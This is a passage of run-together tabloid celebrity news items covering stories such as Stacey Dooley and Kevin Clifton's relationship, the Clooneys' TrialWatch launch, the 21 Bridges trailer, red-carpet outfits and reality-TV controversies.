have remained close friends. While Staceys ex-boyfriend Sam revealed the TV personality called time on their five-year relationship and entered into a romance with thrice-married Kevin in an explosive interview with the Mail On Sunday. Stacey took to Twitter to insist there 'are two sides to every story' after her ex Sam Tucknott branded Kevin 'a rat'. The TV presenter, 32, wrote: 'Anyone with any adult life experience knows there are 2 sides to every story. I havent got the time or energy to correct some of the utter nonsense Ive read on here. 'Re Sam, I loved him v much and only wish him happiness and success going forward.' Loved-up: The January meet-up came weeks before Stacey announced she had split from her long-term beau Sam, after five years together Former flame: Stacey ex-boyfriend Sam Tucknott told The Mail On Sunday that Stacey dumped him to enter a relationship with Kevin Stacey had broken her silence over the matter the day before, as she liked a tweet about forgiveness. It had been alleged the BBC documentary maker broke up with boyfriend of five years for the professional dancer in order to 'better her career'. Weeks after picking up the Glitterball trophy with Kevin in December, Stacey took part in the Strictly tour, but was separated from her partner who ruled himself out of the live shows to concentrate on his own Burn The Floor tour. Despite his hectic work schedule Kevin made the long trip to Birmingham to show his support for Stacey on tour, cheering her on as she danced with Aljaz Skorjanec. Kevin, whose relationship with Stacey was said to be an 'open secret' during the tour, was seen later that night heading into a five star hotel in the city, while Stacey, and the rest of the tour cast, followed close behind. Making time for each other: Despite his hectic work schedule Kevin made the long trip to Birmingham to show his support for Stacey on tour As a Strictly insider said to The Mirror: 'There was no reason for Kevin to slog all the way to Birmingham to see her perform. The fact he did speaks volumes about where they were in their relationship.' The January meet-up came weeks before Stacey announced she had split from her long-term beau Sam, after five years together. Sam himself admitted in an interview with the Mail On Sunday though, that their relationship was under strain late last year as Stacey spent 14 hours a day training with Kevin for their Strictly win. Insiders have claimed that Stacey, known for her hard-hitting BBC Three documentaries, 'dumped' Sam for Kevin as he was 'better for her image'. Split: Kevin was previously married to Karen Clifton (pictured in August 2017), who he split from a year ago after three years of marriage but have remained close friends According to the report friends of Stacey had warned her that her blossoming career on the back of Strictly could be stalled if she continued in her relationship with the personal trainer. A source said: 'Getting on Strictly made Stacey a household name but winning was her breakthrough. The team around her had been preparing to propel her into the mainstream spotlight. They felt Sam could hold Stacey back.' While Sam supported Stacey during both the Strictly live shows, memorably leaping from his seat at her win with Kevin, and the tour, behind the scenes insiders were worried how he was affecting Stacey's image. A source added to The Sun: 'Sam turned up to the studios in a tracksuit a couple of times and there were raised eyebrows. 'Stacey's team want her with someone sharp and shiny. Kevin has charisma, he's a household name and he's well liked. Stacey knows that too as well as falling for him, she knows Kevin will help lift her.' George Clooney and his second wife Amal Alamuddin were spotted returning to their Manhattan home on Thursday night after launching their new TrialWatch initiative. The 41-year-old human rights lawyer - who styles herself - slipped her slim 5ft9in figure into a navy short-sleeved mini-dress and beige suede pumps. The Beirut-born brunette carried a classic trench coat and she was wearing full make-up and curls after her busy day. Home sweet home! George Clooney and his second wife Amal Alamuddin were spotted returning to their Manhattan home on Thursday after launching their new TrialWatch initiative The two-time Oscar winner - turning 58 next month - was every bit the silver fox in a grey suit over a white-striped shirt sans necktie, and black patent leather loafers. The Kentucky-born college drop-out sported a becoming white beard, which made him look more distinguished. Earlier, the Clooneys - who began their May-December romance in 2013 - addressed the crowd at their sold-out TrialWatch conference inside Columbia Law School's Jerome Greene Gall. The Clooney Foundation for Justice partnered with Microsoft to develop the AI app which collects trial data measuring miscarriages of justice due to race, sexual orientation, and more. Styles herself: The 41-year-old human rights lawyer slipped her slim 5ft9in figure into a navy short-sleeved mini-dress and beige suede pumps Glamorous barrister: The Beirut-born brunette carried a classic trench coat and she was wearing full make-up and curls after her busy day Silver fox: The two-time Oscar winner - turning 58 next month - donned a grey suit over a white-striped shirt sans necktie, and black patent leather loafers Like a fine wine: The Kentucky-born college drop-out sported a becoming white beard, which made him look more distinguished 'Courts around the world are increasingly being used to silence dissidents and target the vulnerable. But so far there has been no systematic response to this,' said Amal in a statement. 'The Clooney Foundation for Justice's TrialWatch program is a global initiative to monitor trials, expose abuses, and advocate for victims, so that injustice can be addressed, one case at a time.' It's the married couple of four years' first major collaboration since welcoming their twin son Alexander and daughter Ella 22 months ago. Podium pair: Earlier, the Clooneys - who began their May-December romance in 2013 - addressed the crowd at their sold-out TrialWatch conference inside Columbia Law School's Jerome Greene Gall Exposing abuses: The Clooney Foundation for Justice partnered with Microsoft to develop the AI app which collects trial data measuring miscarriages of justice due to race, sexual orientation, and more Political pair: It's the married couple of four years' first major collaboration since welcoming their twin son Alexander and daughter Ella 22 months ago George - who has political ambitions - previously used his celebrity to advocate for March for Our Lives, the Darfur conflict, the 2010 Haiti earthquake, the 2004 tsunami, and 9/11 victims The ER alum also produced, directed, and starred as US Air Force Lieutenant Scheisskopf in the six-episode WWII miniseries Catch-22, which premieres May 17 on Hulu. Catch-22 - based on Joseph Heller's misogynistic 1961 novel - also features Christopher Abbott, Kyle Chandler, and Hugh Laurie. She's the Aussie model who walked the Victoria's Secret runway in 2012 and 2013. And on Thursday, Jessica Hart showed off her famous figure once again at the 22nd Annual Bergh Ball in New York City. The 33-year-old looked sensational in a sheer green dress that revealed a glimpse of her black lingerie underneath. That's daring! Jessica Hart looked sensational in a sheer green dress that revealed a glimpse of her black lingerie at the 22nd Annual Bergh Ball in New York City on Thursday Jessica also flashed a hint of underboob thanks to the gown's racy cut-out design. She boosted her already statuesque height with metallic heels and accessorised further with a pair of delicate stud earrings. Jessica styled her blonde hair into two braids, and her makeup look consisted of a matte base, bold brows and red lipstick. Detail: Jessica also flashed a hint of underboob thanks to the gown's racy cut-out design Glamazon: She boosted her already statuesque height with metallic heels and accessorised further with a pair of delicate stud earrings This year's ball, hosted by The American Society for the Prevention of Cruelty to Animals, honoured co-founder of the New York Social Diary, David Patrick Columbia. It's no surprise to see Jessica at the event, as she is a known advocate for animal welfare and even founded the cruelty-free cosmetics line Luma Beauty. The affordable range includes primers, bronzers, cleansing gels, lip and cheek tints. Swept back: Jessica styled her blonde hair into two braids, and her makeup look consisted of a matte base, bold brows and red lipstick 'No fuss' : Last November, Jessica told Rose Inc that she is 'extremely low-maintenance' when it comes to her beauty regime Last November, Jessica told Rose Inc that she is 'extremely low-maintenance' when it comes to her beauty regime. 'I always do something, but it never takes more than five minutes unless I'm going out for dinner,' she said. 'It's always "less is more". I don't mean to sound like, "Oh, I don't need anything," but more in terms of no fuss. 'Brows, eyelash curler, moisturiser, tinted beauty balm, highlighter, and you're off!' Scott Disick and Sofia Richie are inseparable. The lovebirds just returned from a romance filled getaway in Cabo San Lucas Mexico and on Thursday they were seen heading to a fancy lunch at Nobu in Malibu. The model looked sexy in a cropped sweater as her man sported apparel from his own clothing line. Nothing fishy here: Scott Disick, 35, and Sofia Richie, 20, were seen heading to a fancy lunch at Nobu in Malibu on Thursday These two are known for their lavish trips and activities, so it's no surprise that immediately following their time on a yacht in the sun, that they headed to an extravagant meal at the celebrity hot spot. Nobu is known for its' famous and very expensive sushi and on any given day, one can catch an array of celebrities dining on the patio overlooking the Pacific ocean. Which is precisely what the pair did, with Sofia looking trendy in a white newsboy cap. And of course, they also rolled up in style in the reality star's stunning Rolls Royce. Stunner: Sofia wore high waist denim shorts and a grey crop top sweater, showing off her crazy body Lionel Richie's daughter wore high waist denim shorts and a grey crop top sweater, showing off her crazy body. Scott dressed more practically in a light yellow t-shirt coming from his new Talentless clothing label. Sofia made sure to check her phone before heading into the dining establishment. Scrolling the gram: Sofia made sure to check her phone before heading into the dining establishment Their relationship took flight nearly two years ago after they were spotted canoodling on a yacht in Cannes. A romance was later confirmed while the pair vacationed in Miami in September 2017. Scott shares three children with Kourtney Kardashian - nine-year-old son, Mason, six-year-old daughter, Penelope, and four-year-old son, Reign. The couple split in the summer of 2015. Old days: Scott shares three children with Kourtney Kardashian - nine-year-old son, Mason, six-year-old daughter, Penelope, and four-year-old son, Reign. Pictured in 2008 Advertisement Black Panther star Chadwick Boseman is back on screen in Avengers: Endgame that's set for a record-breaking $1 billion opening weekend. And hours before the Marvel superhero movie opens in North American theatres, a trailer dropped for the actor's upcoming summer action thriller 21 Bridges. Boseman, 41, stars as NYPD detective Andre Davis who is engaged in a city-wide search for cop killers only to discover a massive conspiracy that links cops to a criminal drug enterprise. Coming July: A trailer for Chadwick Boseman's upcoming action thriller 21 bridges dropped Thursday, hours before he returned to the big screen as Black Panther in Avengers: Endgame The trailer opens with a young version of Boseman's character at the funeral for his father, a cop killed in the line of duty. Fast forward 18 years, he's also a cop and attends the scene of a robbery gone wrong that leaves eight NYPD officers dead. Two suspects are on the run and Boseman is tasked by superior officer J.K. Simmons to track them down. He chooses Boseman because of what happened to his father. 'I will find them,' Boseman promises Simmons. Backstory: The trailer opens with a young version of Boseman's character at the funeral for his father, a cop killed in the line of duty Drama: It's the worst day in the history of the NYPD until 18 years later, when eight cops are killed after an armed robbery goes wrong Mission: Two suspects are on the run and Boseman is tasked by superior officer J.K. Simmons to track them down. He chooses Boseman because of what happened to his father To that end, he orders the closure of all 21 bridges that connect the island of Manhattan to the rest of the five boroughs. He also orders the four tunnels shut down, trains blocked and subways confined to a loop. 'Then we flood the island with blue,' he tells his colleagues. That means no-one can enter or leave Manhattan and ultimately Boseman starts to wonder if he is, in fact, not the hunter but the hunted. Partner: Boseman embarks on the manhunt with the help of fellow detective Sienna Miller Unprecedented move: He orders the closure of all 21 bridges that connect the island of Manhattan to the rest of the five boroughs to create a perimeter for the manhunt He also orders the four tunnels shut down, trains blocked and subways confined to a loop. Man with a plan: 'Then we flood the island with blue,' he tells his colleagues The crime drama is directed by Brian Kirk whose credits include episodes of Game of Thrones, Luther and Penny Dreadful. The rest of the cast includes Sienna Miller, Taylor Kitsch, Stephan James and Keith David. Boseman also serves as a producer on the movie along with his Avengers: Endgame directors Joe and Anthony Russo. 'Its intense. The action is fantastic,' Joe Russo told slashfilm.com. 'Its the kind of movie that ... I feel like theyre not really making a lot of anymore. Its a real throw back to a 70s thriller. It feels like a Lumet movie,' he said. Target? With no-one able to enter or leave Manhattan, Boseman starts to wonder as the hunt goes on if he is, in fact, not the hunter but the hunted Helmer: The crime drama is directed by Brian Kirk whose credits include episodes of Game of Thrones, Luther and Penny Dreadful Team: Boseman serves as a producer on the movie along with Avengers: Endgame directors Joe and Anthony Russo. 'Its intense. The action is fantastic,' Joe Russo told slashfilm.com For his part, Boseman explained that it was the action and the pace of the plot that drew him to the project. 'When I read the script, I could tell that this was gonna be a ride,' he shared. 'Its a ride when you watch it. At the same time, it took me back to my theater days where you have the fast-paced language I lived in New York for years. I feel like this movie sort of captured that sort of things,' he added. They are expecting their first child together in two months' time. And on Friday, Bachelor couple Laura Byrne and Matty Johnson enjoyed a fun-filled snorkeling trip while on their 'surprise' babymoon holiday in Fiji. Laura, who is 34 weeks pregnant, couldn't wipe the smile off her face as her boyfriend whisked her away to a picturesque swimming spot. Scroll down for video Water baby! Laura Byrne went snorkeling in Fiji with her boyfriend Matty Johnson on Friday The jewellery designer showed off her growing bump in a black bikini as she posed for a selfie with Matty on their boat before taking the plunge. Laura poked fun at her changing shape in the caption, describing herself 'beached whale' that had 'returned to [its] natural habitat'. Matty, who fell in love with Laura on the 2017 season of The Bachelor, surprised her with a spontaneous getaway to Fiji earlier this week. Here goes! Laura showed off her growing bump in a black bikini as she posed for a selfie with Matty on their boat before taking the plunge Another day, another adventure! On Thursday afternoon, they went stand-up paddle boarding in the crystal clear waters near Malolo Island On Thursday afternoon, they went stand-up paddle boarding in the crystal clear waters near Malolo Island. The couple, who are staying at the five-star Six Senses Fiji resort, have been documenting every step of their trip on Instagram. They have yet to to learn the gender of their unborn child, which is due in June. Good vibes: The couple, who are staying at the five-star Six Senses Fiji resort, have been documenting every step of their trip on Instagram Wait 'n' see! Matty and Laura have yet to to learn the gender of their child, which is due in June Fun in the sun: The lovebirds, who are not engaged or married, met on the fifth season of The Bachelor Australia in 2017 The lovebirds, who are not engaged or married, met on the fifth season of The Bachelor Australia. Matty had previously appeared on Georgia Love's season of The Bachelorette, placing second in the finale. Before rising to fame, he worked as a marketing manager but has since embarked on a career as a TV presenter. The 2019 Billboard Latin Music Awards brought out a bevy of stars to Mandalay Bay in Las Vegas on Thursday. And pop superstar Becky G led the cavalcade of luminaries as she commanded attention on the annual red carpet soiree. The 22-year-old brunette beauty turned heads in a sparkling pink fringe mini dress that showcased her stunning figure. Pretty in pink: The 2019 Billboard Latin Music Awards brought out a bevy of stars to Mandalay Bay in Las Vegas on Thursday Daring to impress, Becky G showed off her flawless decolletage as the strapless number was low cut. Her gorgeous gams took center stage as the hemline of the frilly frock stoped high on her toned thighs Hosted by Gaby Espino, the fabulous fete honors the best and brightest in the Latin music world. The 2019 show highlights the accomplishments female performers have made in the male dominated Latin music industry. Rear view: And pop superstar Becky G led the cavalcade of luminaries as she commanded attention on the annual red carpet soiree Impressive: Daring to impress, Becky G showed off her flawless decolletage as the strapless number was low cut Karol G and Natti Natasha are the first females to be nominated in the best new artist category in at least four years. 'In many ways, we've been building our own path,' said Karol G during Latin Music Week in Las Vegas. 'I feel like there was a lack of habit of listening to us and listening to our lyrics in urban music. ... But the fact is that the doors have opened up for us now,' she added. Vision in white: Karol G. was a vision in white Silver ensemble: Isabela Moner looked every inch the pop sensation in a glittering silver ensemble 'If we're all going to be about girl power, it's more about acting the part and not just talking about it,' Becky G said. This year, Ozuna led the nominations with 23 nods in 15 categories, including Artist of the Year, Song of the Year and Album of the Year. J Balvin and Nick Jam followed with 13 nominations each and Bad Bunny with 12. Back in black: Claudia Vergara made a statement in a form-fitting black ensemble Rosalia flashed a peek at her toned tummy while Sofia Reyes rocked a glamorous plunging gown Meanwhile, the stars turned out in droves for the Sin City soiree. Isabela Moner looked every inch the pop sensation in a glittering silver ensemble. Rosalia flashed a peek at her toned tummy while Sofia Reyes rocked a glamorous plunging gown. Stunners: Paula Galindo gave fans a charge in a bedazzled number as Mariah dared to be different in a oversized black dress Claudia Vergara made a statement in a form-fitting black ensemble. Paula Galindo gave fans a charge in a bedazzled number as Mariah dared to be different in a oversized black dress. And Marc Anthony whipped the audience into a frenzy with an electrifying performance. She was spotted cozying up with her new beau Garrett Hedlund in Los Feliz on Wednesday. But Emma Roberts was back on her own on Thursday as she was seen heading to her car in Hollywood. The 28-year-old actress kept her look casual as she promenaded down the street and back to her vehicle. Solo trip: Emma Roberts was back on her own on Thursday as she was seen heading to her car in Hollywood Doused in Southern California sunshine, Emma sported a shin-length, striped, black-and-white shirt dress. She sported black-and-gold, open-toe slippers and shaded her eyes with oversized maroon sunglasses from Oliver Peoples. The American Horror Story star left her long blonde tresses unencumbered, and they tumbled freely across her shoulders. Out and about: The 28-year-old actress kept her look casual as she promenaded down the street and back to her vehicle, wearing a pair of Oliver Peoples shades Emma was spotted out on a date with her new beau Garrett on Wednesday night. The Billionaire Boys Club star recently ended her seven-year relationship with on/off fiance and frequent castmate, Evan Peters, for the third time. Emma was once arrested for domestic violence during a 2013 Montreal quarrel with the 32-year-old Pose star, but he declined to press charges. Coffee run: She was spotted cozying up with her new beau Garrett Hedlund in Los Feliz on Wednesday Just last week a source told People Magazine that the newly minted couple was taking things slow. 'Emma is newly single and neither she nor Garrett are in the right headspace to be in a serious relationship,' a source told the mag last week. Adding: 'They're just having fun hanging out and hooking up.' All signs seem to be pointing to the contrary as they Triple Frontier star joined the niece of Julia Roberts for their first holiday together on Sunday. On Easter the couple were spotted together before heading to a friend's place. Eva Longoria Baston donned a white Melissa Odabash backless one-piece swimsuit to dance with her son Santiago Enrique during their lavish Saint Barthelemy vacation on Thursday. The 44-year-old Golden Globe nominee has been filming all of the seaside action for the viewing pleasure of her captive, combined 19.1M social media followers. The 'Texican' beauty and her third husband Jose 'Pepe' Baston seem to be having a blast since arriving on the French-speaking Caribbean isle Easter weekend. 'Dancing to the sunset!' Eva Longoria Baston donned a white Melissa Odabash swimsuit to dance with her son Santiago Enrique during their Saint Barthelemy vacation on Thursday Eva also posted a boomerang of herself rocking a tiny blue bikini while 'partying' poolside with their 10-month-old boy nicknamed Santi. Longoria originally met the 51-year-old Televisa president through a mutual friend back in 2013 and they'll celebrate their third wedding anniversary on May 21. The Dog Days actress is now stepmother to Pepe's three children - Natalia, 24; and twins Mariana & Jose, 16 - from his first marriage to Natalia Esperon. Unfortunately, the former couple's son Sebastian tragically died days after birth back in 2003. Pisces: The 44-year-old Golden Globe nominee has been filming all of the seaside action for the viewing pleasure of her captive, combined 19.1M social media followers Splash! The 'Texican' beauty and her third husband Jose 'Pepe' Baston (2-L) seem to be having a blast since arriving on the French-speaking Caribbean isle Easter weekend 'Party time!' Eva also posted a boomerang of herself rocking a tiny blue bikini while 'partying' poolside with their 10-month-old boy nicknamed Santi Squeee! Longoria originally met the 51-year-old Televisa president through a mutual friend back in 2013 and they'll celebrate their third wedding anniversary on May 21 For her charitable work, Eva will next receive the Changemaker Award from the Greenwich International Film Festival on May 30 at L'Escale in Connecticut. Longoria produces, directs, and has a four-episode guest stint acting as late matriarch Beatriz Mendoza in Grand Hotel, which premieres June 17 on ABC. The two-time SAG Award winner has also been hard at work producing and helming The CW drama pilot Glamorous starring Brooke Shields. Charitable: The Dog Days actress will next receive the Changemaker Award from the Greenwich International Film Festival on May 30 at L'Escale in Connecticut Bachelor in Paradise star Bill Goldsmith appears to have hit back at the backlash he received for using the hashtag #LestWeForget in an Instagram post about 'happier times' with Alex Nation on Thursday. The 31-year-old tradesman told fans not to be so 'judgy' and to 'quit being so bitter' in response to the upload. An unimpressed Bill chose not to apologise following the furore after he used the hashtag to promote the show, but went on the defense instead. 'Quit being so bitter': Bachelor in Paradise villain Bill Goldsmith has hit out at 'judgy' social media users following his Anzac Day Instagram gaffe 'Why is everyone on social media so judgy,' he wrote in a lengthy on his Instagram story. Bill appeared to make a comparison between his post and 'gym selfies' - which are often considered annoying. 'If someone wants to get fit & post gym selfies, I'm here for it. If homegirl is feeling good about herself and posts a selfie, I'm gonna like it,' he added. On the defense: An unimpressed Bill chose not to apologise following the furore after he used the hashtag to promote the show, but went on the defense instead Bill then mentioned wedding posts, encouraging Instagram users to stop being so 'bitter.' 'If two people get married and post 100 photos. I'm excited for them. Quit being so bitter,' he concluded the post. On Thursday, Bill shared a snap of himself cuddling up to co-star Alex Nation, writing 'happier times' following criticism for playing her off co-star Florence Moerenhout. 'Is this dude serious?' On Thursday, Bill shared a snap of himself cuddling up to co-star Alex Nation, writing 'happier times' following criticism for playing her off co-star Florence Moerenhout 'Happier times @alexandranation... This part didn't make the edit,' he wrote, before adding the hashtag '#LestWeForget'. 'Lest we forget' is a phrase commonly used in war remembrance ceremonies, such as Anzac Day on April 25 and Remembrance Day on November 11. The post caused outrage with a number of fans upset he used the hashtag to promote the show with no reference to Anzac Day or war veterans. Pulling back: Following the online uproar, Bill deleted the '#' symbol to remove his post from hashtag searches but he kept the phrase: 'LestWeForget' under the picture One person commented: 'What does lest we forget have anything to do with this picture? Did you both fight for our country? I think it's a great photo but disrespectful wording.' Within an hour, Bill deleted the '#' symbol to remove his post from hashtag searches but kept 'LestWeForget' in the caption. The questionable post was also shared to the popular BachieFunny Instagram fan account, where it attracted further backlash. Not happy: Bill got the wrath of a number of social media users, after his controversial adoption of the commonly used ANZAC Day hashtag to promote the show 'F**k, is this dude serious?' read a furious comment, before another person added: 'Seriously? What a dipstick!' Despite this faux pas, Bill did pay his respects appropriately by attending a dawn service at the Shrine of Remembrance war memorial in Melbourne. It comes after Bill hit back at his less than stellar portrayal, lashing out at Network Ten and Warner Bros in a scathing social media post. The reality TV villain said that both the network and Warner Bros. Australia, which produces The Bachelor franchise, have 'f**ked his reputation' through editing. Ronnie and Georgia Caceres earned a tidy $161,000 profit after placing third on The Block in 2017. And the renovating couple have now purchased a $740,000 three-bedroom property in Perth, which they hope to transform into a 'dream family home'. Announcing the news via Instagram on Thursday, Ronnie and Georgia posed in front of a 'sold' sign and told their followers: 'Woo hoo! We bought a house!' 'We purchased our next big project!' The Block's Ronnie and Georgia Caceres (pictured) have bought a $740,000 property in Perth to renovate into their 'dream family home' 'The last couple of years have been a crazy whirlwind for us! Post The Block, lots of amazing doors opened and we've been busier than ever. However, finally the timing is right for us to undertake our very own massive project!' they wrote. 'There's no denying the task ahead is massive, however the idea of restoring and transforming this property into our dream family home is all the motivation we need.' Ronnie and Georgia purchased the 'original 1920s weatherboard cottage' in February and acknowledge it's in 'dire need of some serious tender love and care'. 'There's no denying the task ahead is massive': The couple have been very busy since the 2017 season of The Block, but are now ready to tackle their own renovation project Exciting times! 'There's so much opportunity within this home to upcycle and restore, were a match made in heaven!' Georgia told 9Honey Homes on Friday. Pictured: The kitchen The three-bedroom, two-bathroom home boasts high ceilings and polished floorboards, as well as a study, living room, and sizable kitchen and dining area. The full 760sqm block also has room for an ancillary dwelling or swimming pool. Speaking to 9Honey Homes on Friday, Georgia said: 'There's so much opportunity within this home to upcycle and restore. We're a match made in heaven!' Possibilities: The full 760sqm block also has room for an ancillary dwelling or swimming pool Watch this space! The family will be living in the home while they renovate, and have promised to share their journey with fans on Instagram Georgia added that the design theme is 'based around a "modern country" aesthetic', and said her 'Pinterest folder is building daily' with new ideas. The family will be living in the home while they renovate, and have promised to share their journey with fans on Instagram. Ronnie and Georgia are parents to three children: four-year-old daughter Lotte, and sons Leo, six, and Giordano, 17. Remember them? In season 13 of The Block, Ronnie and Georgia consistently blew the judges away with their elegant yet daring transformations in Elsternwick In season 13 of The Block, Ronnie and Georgia consistently blew the judges away with their elegant yet daring transformations in Elsternwick. They placed third in the competition, taking home a profit of $161,000 after selling their renovated weatherboard house at auction for $2.781million. The professional renovators later starred in the online spin-off series Quick Room Flips, appearing in eight episodes since February 2018. She's making waves for her lead role in her debut movie. And Slick Woods ensured all eyes were well and truly on her for her moment in the spotlight as she attended the Goldie premiere at the Tribeca Film Festival in New York City on Thursday night. The model, 22, went underwear-free and showed off her toned legs while gliding down the red carpet in an unusual off-shoulder orange gown. No underwear, no problem! Slick Woods ensured all eyes were on her as she attended the Goldie premiere at the Tribeca Film Festival in New York on Thursday night The design showed off the catwalk queen's toned arms, as well as her many tattoos. A large slit along the left side of the number allowed Slick to display much of her leg and hip. Keeping with a color-theme, the Minnesota native had her short cropped hair dyed orange and wore orange-tinted glasses. She accessorized with gold-strapped heels, a matching hand clutch and a number of long necklaces. Model moment: The model, 22, went underwear-free and showed off her toned legs while gliding down the red carpet in an unusual off-shoulder orange gown Daring: A large slit along the left side of the number allowed Slick to display much of her leg and hip as she hit the red carpet Written and directed by Dutch filmmaker Sam de Jong, Woods plays the movie's namesake, Goldie, a precocious teenager in a family shelter who wages war against the system to keep her sisters together while she pursues her dreams of being a dancer. The story explodes with energy and hope, according to Indiewire's David Ehrlich, while focusing on displaced youth, ambition, and the human spirit in the face of insurmountable obstacles. Woods first gained recognition as part of the so-called 'Social Media Modeling' or Instagirl movement. She rose to fame more than two years ago when she modeled for Marc Jacobs. Put together: The beauty wore gold-strapped heels and accessorized with a matching hand clutch and a number of long necklaces New look: Keeping with a color-theme, the model had her short cropped hair dyed orange and wore orange-tinted glasses Talk about multi-tasking: Slick gave birth to her son in September of last year after going into labor during a runway show for Rihanna Woods made a splash last September when she was hand-picked by Rihanna to walk in her fashion show in a revealing outfit that consisted of straps and pasties, despite being very pregnant. Then, as she headed off the stage, she went into labor and had to be rushed to the hospital. After 14-hours of labor, the model gave birth to son Saphir, whom she shares with boyfriend Adonis Bosso. Slick didnt know she was pregnant until five months into her pregnancy - partly because of an incorrect diagnosis of infertility when she was young. Winnie Harlow has made quite a name for herself. Her raw authenticity landed the model, 24, a spot on stage as one of the speakers for the 2019 WE Day California event. Hosted by Neil Patrick Harris and attended by a slew of A-list celebrities including Selena Gomez , Sarah Michelle Gellar and Natalie Portman, the event took place at The Forum in Los Angeles. Watch her shine: Winnie Harlow, 24, took the stage wearing a short plaid dress at the 2019 WE Day California event in Los Angeles on Thursday For the empowering day, Winnie donned a short black, grey and red dress. The long sleeve apparel bunched around the waist and was paired with white dad style sneakers. Harlow's gorgeous long locks were loose around her in easy waves. Time to chat: The Canadian born star made her way to the stage where she stood front and center and gave her two cents Born for this: Winnie looked like a natural in front of the crowd as she joked, laughed and pumped up the audience The Canadian born star made her way to the stage where she stood front and center and gave her two cents. Winnie looked like a natural in front of the crowd as she joked, laughed and pumped up the audience. With her real name as Chantelle Brown-Young, the beauty was first discovered by America's Next Top Model host Tyra Banks on Instagram and competed on cycle 21 of the show in 2014. Big career ahead: After America's Next Top Model, where Harlow went on to finish in sixth place, she's since walked on fashion's leading runways She went on to finish in sixth place on the show and has since walked on fashion's leading runways. The Canadian star recently defended herself over comments she made about her time as a contestant on the show and perceived criticism of host Tyra, 45. After being on the show no one would book me and no agency would sign me because of the reality TV stigma,' she wrote on Instagram. 'It has nothing to do with being ungrateful, and more over nothing to do with "shade" to Tyra. 'She was the first person of higher status to make me feel like I could be a model and not only am I grateful for that, it's something I'll never forget.' Important work: The WE charity is an international charity and educational partner The WE charity is an international charity and educational partner. 'WE Charity carries the power of WE globally, empowering communities to lift themselves out of poverty through our holistic, sustainable international development model, WE Villages, according to the charity's website. 'WE Schools is a yearlong educational program that nurtures compassion in students and gives them the tools to create transformative social change. And WE Day is a series of stadium-sized events that celebrate youth making a difference in their local and global communities.' Speakers and performers included Chance the Rapper, Hailee Steinfeld, Karamo Brown and Bill Nye. Phoebe Burgess made headlines last week when she officially confirmed she was back together with NRL star Sam following their brief split last December. So it was a surprise to see Phoebe had used her maiden name at Sydney Airport on Wednesday after a short trip to Singapore. A middle-aged man in a black suit, who appeared to be Phoebe's chauffeur, was seen holding a small sign with the words 'Phoebe Hooke' printed on them. What would Sam think? Phoebe Burgess (pictured) used her maiden name 'Hooke' at the airport on Wednesday... after confirming her reconciliation with her NRL star husband Sam Burgess Mother-of-two Phoebe was soon seen happily greeting the man and they left the airport together. The blonde beauty was casual chic in a beige-coloured collared shirt, faded blue jeans and peach sandals. The 30-year-old had been hard at work promoting infant skincare products in Singapore this week. Travelling incognito? A middle-aged man in a black suit (above), who appeared to be Phoebe's chauffeur, was seen holding a small sign with the words 'Phoebe Hooke' printed on them Phoebe has been delighting fans with regular updates from the glamorous Johnson's Baby event in Singapore. In one picture, Phoebe blew pink rose petals into a flower-laden bathtub. In another photo, the former magazine journalist beamed while playfully reclining on a Johnson's branded bedspread. Personal driver: Mother-of-two Phoebe was soon seen happily greeting the man and they left the airport together You've come a long way, baby: Earlier this week, Phoebe (pictured) delighted fans with regular updates from the glamorous Johnson's Baby event in Singapore Living the life! In one picture, Phoebe blew pink rose petals into a flower-laden bathtub Elsewhere, she was seen walking through a cute nursery lit-up with fairylights. Phoebe made headlines recently when she confirmed she was back together with NRL star Sam Burgess, 30, following their brief split last December. The couple, who married in 2015 and share two children, celebrated Phoebe's 30th birthday together at a restaurant in Sydney. For months, it was rumoured they'd reconciled but it was the first time Phoebe had confirmed the news. He has previously said swimming clears his head. So it was no surprise to see The Chase host Andrew O'Keefe going for a dip at Bondi Beach on Friday amid his recent woes. The 47-year-old is currently 'working through personal issues' after lashing out at a photographer, driving unregistered and splitting from his wife. Water therapy: Andrew O'Keefe (pictured) looked solemn during a swim at Bondi Beach on Friday amid his person woes The TV star looked solemn as he stripped down to a pair of bright green budgie smugglers for the dip. At times, Andrew was spotted chatting with a male pal on the shore. He could then be seen doing a number of stretches on the sand and at one point managed to raise a smile after emerging out of the water. Clearing his head: The 47-year-old is currently taking time off as he 'works through personal issues' after lashing out at a photographer, driving unregistered and splitting from his wife Andrew, who is a former lawyer, told industry publication Lawyers Weekly he swims everyday to 'clear the cobwebs.' Lately, Andrew has been facing a number of difficulties in his personal life. Earlier this month, his manager Mark Klemens confirmed the star would be taking a month off to take care of his health, according to The Daily Telegraph. 'Andrew O'Keefe is currently taking some time off from his demanding and busy schedule to regroup and work though some personal issues,' he said. Taking a break: Andrew's manager Mark Klemens confirmed the TV star was taking a break from filming commitments in order to focus on himself Stretching: At one point, the TV host was spotting stretching on the sand in his green togs 'Over the past year or so AOK has had to come to terms with his marriage breakdown among a range of other issues,' he added. 'He is emotionally exhausted to say the least and needs this break.' The Chase is currently running repeats on the Seven network. In March, Andrew had a high-profile altercation with a photographer outside a Sydney courthouse. Brightening up: Andrew smiled after his dip at Bondi Beach The Seven host allegedly struck a news photographer on the upper body with a folder, while leaving Downing Centre Local Court. Andrew responded to the incident, offering a denial. 'Mate, if a photographer chooses to get in the way of my folder, that's the photographer's fault,' he told AAP. In a separate incident, Woman's Day magazine published images of the then newly-separated TV personality kissing a mystery brunette during a night out in Tasmania in September 2018. Out for a dip! Andrew has previously said that swimming 'clears the cobwebs', while speaking to industry publication Lawyer's Weekly back in 2011 Rough time: The former Weekend Today host is taking a month away from his professional commitments to address his 'emotional exhaustion' (Pictured with his estranged wife Eleanor) The magazine reported that the video was filmed during a period when Andrew was 'partying for 48 hours'. 'I am not the only person who has gone out and had a big night and done things that in the light of day looks little silly,' Andrew said of the incident. He separated from his wife Eleanor in late 2017. Teresa Guidice has been feeling the wreath of critics after posting a petition to stop the deportation of her husband husband, Joe Giudice. But that didn't stop the reality star from attending the launch of MASK skincare in New York City on Thursday. Fellow reality star Farrah Abraham was also hand in support of the brand that boasts itself as the first CBG oil skincare line. Celebrity clout: Teresa Guidice attended the launch of the MASK skincare line in New York City on Thursday The Real Housewives of New Jersey star went with casual but classy look in black capri pants with a form-fitting black top. For contrast, she wore a white patterned jacket with a pair of brown-strapped heels. She wore her two-tone brown tresses long with some soft waves and a part in the middle. After posing on the red carpet solo, Teen Mom OG alum Farrah Abraham joined her to share the spotlight. Casual-classy: The Real Housewives of New Jersey star went with casual but classy look in black capri pants with a form-fitting black top and white patterned jacket Real world: Guidice, 46, hobnobbed with fellow reality star Farrah Abraham, 27 Revealing: The Teen Mom OG alum rocked a brown animal print mini dress Baby got back: The 27-year old was sure to show off her 